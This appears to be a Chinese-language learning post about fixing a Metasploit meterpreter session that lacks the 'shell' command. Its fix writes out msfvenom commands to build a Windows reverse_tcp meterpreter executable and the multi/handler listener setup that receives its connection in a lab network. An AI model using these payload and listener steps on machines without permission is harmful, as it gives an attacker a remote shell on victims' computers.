Kali--meterpreter找不到shell选项meterpreter > shell [-] Unknown command: shell.

今天在使用kali进行学习是，发现在进入meterpreter控制台后只有core命令，刚开始以为是虚拟机坏掉了，后来发现，是因为没有连接成功，

1.问题重现：

root@qzwhost:~# msfconsole 
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v4.16.52-dev-                        ]
+ -- --=[ 1751 exploits - 1005 auxiliary - 305 post       ]
+ -- --=[ 536 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.52.133
LHOST => 192.168.52.133
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.52.133:443 

以上的命令是没有问题的，问题在于连接未建立成功

在客户机上直接访问http://192.168.52.133:443,在kali上可以看到建立连接

此时我用sessions命令查看后连接

可以成功登陆到meterpreter控制台，help查看发现只有基础命令

输入shell试图连接到客户机时失败，报错meterpreter > shell [-] Unknown command: shell.

问题解决：

在linux shell下输入

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=443 -f exe -o met.exe

LHOST为攻击机IP地址

将生成的met.exe发送给客户机，输入上方代码

root@qzwhost:~# msfconsole 
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v4.16.52-dev-                        ]
+ -- --=[ 1751 exploits - 1005 auxiliary - 305 post       ]
+ -- --=[ 536 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.52.133
LHOST => 192.168.52.133
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.52.133:443 

此时将客户机中met.exe双击启动，连接建立成功

输入shell后出现以下画面

问题解决！

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